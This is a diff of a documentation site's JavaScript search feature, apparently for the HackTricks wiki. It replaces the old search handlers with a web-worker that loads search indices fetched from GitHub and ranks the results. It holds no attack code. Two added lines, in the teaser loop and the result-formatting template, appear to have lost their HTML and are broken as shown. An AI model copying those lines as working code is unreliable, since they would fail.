(hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { - focused.classList.remove("focus"); - next.classList.add("focus"); - } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); - } - } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); - } - } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); - removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } - - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; - } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 10_000; - - const injectScript = (src) => - new Promise((resolve, reject) => { - const s = document.createElement("script"); - s.src = src; - s.onload = () => resolve(src); - s.onerror = (e) => reject(e); - document.head.appendChild(s); + if(!rawLoaded) return null; /* give up on this index */ + const data = { json:self.search.index, urls:self.search.doc_urls, cloud:isCloud }; + delete self.search.index; delete self.search.doc_urls; + return data; + } + + (async () => { + const MAIN_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/refs/heads/master/searchindex.js'; + const CLOUD_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/searchindex.js'; + + const indices = []; + const main = await loadIndex(MAIN_RAW , '/searchindex-book.js', false); if(main) indices.push(main); + const cloud= await loadIndex(CLOUD_RAW, '/searchindex.js', true ); if(cloud) indices.push(cloud); + + if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; } + + /* build index objects */ + const built = indices.map(d => ({ + idx : elasticlunr.Index.load(d.json), + urls: d.urls, + cloud: d.cloud, + base: d.cloud ? 'https://cloud.hacktricks.wiki/' : '' + })); + + postMessage({ready:true}); + const MAX = 30, opts = {bool:'AND', expand:true}; + + self.onmessage = ({data:q}) => { + if(!q){ postMessage([]); return; } + + const all = []; + for(const s of built){ + const res = s.idx.search(q,opts); + if(!res.length) continue; + const max = res[0].score || 1; + res.forEach(r => { + const doc = s.idx.documentStore.getDoc(r.ref); + all.push({ + norm : r.score / max, + title: doc.title, + body : doc.body, + breadcrumbs: doc.breadcrumbs, + url : s.base + s.urls[r.ref], + cloud: s.cloud }); - - try { - /* 1 — download raw JS from GitHub */ - const controller = new AbortController(); - const timer = setTimeout(() => controller.abort(), TIMEOUT_MS); - - const res = await fetch(rawUrl, { signal: controller.signal }); - clearTimeout(timer); - if (!res.ok) throw new Error(`HTTP ${res.status}`); - - /* 2 — wrap in a Blob so the browser sees application/javascript */ - const code = await res.text(); - const blobUrl = URL.createObjectURL( - new Blob([code], { type: "application/javascript" }) - ); - - /* 3 — execute it */ - await injectScript(blobUrl); - - /* ───────────── PATCH ───────────── - heavy parsing now deferred to idle time - */ - requestIdleCallback(() => init(window.search)); - return; // ✔ UI remains responsive - } catch (eRemote) { - console.warn("Remote JS failed →", eRemote); - } - - /* ───────── fallback: local copy ───────── */ - try { - await injectScript(localJs); - - /* ───────────── PATCH ───────────── */ - requestIdleCallback(() => init(window.search)); - return; - } catch (eLocal) { - console.error("Local JS failed →", eLocal); - } - })(); - - // Exported functions - search.hasFocus = hasFocus; - })(window.search); \ No newline at end of file + }); + } + all.sort((a,b)=>b.norm-a.norm); + postMessage(all.slice(0,MAX)); + }; + })(); + `; + + /* ───────────── 2. spawn worker ───────────── */ + const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'}))); + + /* ───────────── 3. DOM refs ─────────────── */ + const wrap = document.getElementById('search-wrapper'); + const bar = document.getElementById('searchbar'); + const list = document.getElementById('searchresults'); + const listOut = document.getElementById('searchresults-outer'); + const header = document.getElementById('searchresults-header'); + const icon = document.getElementById('search-toggle'); + + const READY_ICON = icon.innerHTML; + icon.textContent = '⏳'; + icon.setAttribute('aria-label','Loading search …'); + + const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13; + let debounce, teaserCount=0; + + /* ───────────── helpers (teaser, metric) ───────────── */ + const escapeHTML = (()=>{const M={'&':'&','<':'<','>':'>','"':'"','\'':'''};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})(); + const URL_MARK='highlight'; + function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;} + + function makeTeaser(body,terms){ + const stem=w=>elasticlunr.stemmer(w.toLowerCase()); + const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30; + const W=[],sents=body.toLowerCase().split('. '); + let i=0,v=W_F,found=false; + sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;}); + if(!W.length) return body; + const win=Math.min(W.length,WIN); + const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)]; + for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1]; + const best=found?sums.lastIndexOf(Math.max(...sums)):0; + const out=[]; i=W[best][2]; + for(let k=best;k'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push(''); i=pos+w.length;} + return out.join(''); + } + + function format(d,terms){ + const teaser=makeTeaser(escapeHTML(d.body),terms); + teaserCount++; + const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27'); + const parts=d.url.split('#'); if(parts.length===1) parts.push(''); + const abs=d.url.startsWith('http'); + const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`; + const style=d.cloud?" style=\"color:#1e88e5\"":""; + const isCloud=d.cloud?" [Cloud]":" [Book]"; + return ``+ + `${d.breadcrumbs}${isCloud}${teaser}`; + } + + /* ───────────── UI control ───────────── */ + function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}} + function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();} + + icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden'))); + + document.addEventListener('keydown',e=>{ + if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return; + const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName); + if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();} + else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}} + else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}} + }); + + bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage(e.target.value.trim()),120); }); + + /* ───────────── worker messages ───────────── */ + worker.onmessage = ({data}) => { + if(data && data.ready!==undefined){ + if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); } + else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); } + return; + } + const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean); + header.textContent=metric(docs.length,q); + clear(list); + docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);}); + listOut.classList.toggle('hidden',!docs.length); + }; + })(); + \ No newline at end of file